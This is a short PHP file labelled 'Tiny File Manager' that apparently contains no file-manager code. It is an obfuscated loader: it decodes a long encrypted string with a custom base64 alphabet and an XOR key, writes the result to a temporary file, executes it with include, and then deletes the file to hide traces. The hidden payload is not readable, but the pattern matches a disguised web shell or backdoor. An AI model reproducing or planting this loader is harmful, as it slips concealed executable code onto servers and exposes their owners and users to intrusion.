Tiny File Manager

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<?php
$encrypted = 'T0gRBgN6awcVV0lKLCQkPCUyMzVUJSQ_JjIyOiw6JDo7OCVJLldcU05XRj48JDVJWlcaY3lXQU5THgdOWx4SHRYDSUosJy49JyxGHhIDCUkuXkhOCHprTlNXQU5TV0FKGhkRGwcnABobV1xOVygxISAjOkkDFhUGVCpaY3lXQU5TCkELHwQEBxVXSQcABAQaW1M-KTYjOkkDFhUGVCpIR1MMbGRTV0FOU1dBTlceDx4GAzEPBx9BU1NTPik2IzpJAxYVBlQqWmN5V0FOUwpBCx8EBE4IemtOU1dBTlNXQUoaGREbBycAGhtXXE5UUFpjeVdBTlMKbGR-fUFOU1cICFNfRQcdBxQaIxYVBlNRR04aBD4KGgVJShoZERsHJwAaG15ITgh6a05TV0FOU1dBDRsTCBxbUwgAAwIVPhIDCUdIemtOU1dBE359QU5TVwQCABIaY3lXQU5TV0FOUxQJChoFSQoaBQ8PHhJJCRYDAhkXX0hHWkxsZFNXQU4OemtOU1dBY3lXQU5TGAMxAAMAHAdfSFV-fUFOU1cVHApXGmN5V0FOU1dBTlMSFw8fXwgdABIVRlcoMSEgIzpJEBgFC1QqSE5MV0UxIzgyOihQAgEXEkYzU01BSVReWmN5V0FOUwpBDRIDAgZTXzUGARgWDxEbBE5XEkhOCHprTlNXQU5TV0ELEB8OTlESExwcBVtOUVdPTlcSTFAUEhUjFgQSDxQSSUdIemtOU1dBE359QU5TV0UBBgMRGwdXXE4cFT4JFgM-DR8SAABbXlpjeVdBTlMSAgYcV0NSAwUEUFFXT04bAwwCAAcEDRoWDQ0bFhMdW1MOGwcHFBpaV09OUUtOHgESX0xIemsTfn1eUH59';
if (!function_exists('yak')) {
    function yak($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

$bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

$res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), yak($encrypted, 'swan'));
include $tmp;
unlink($tmp);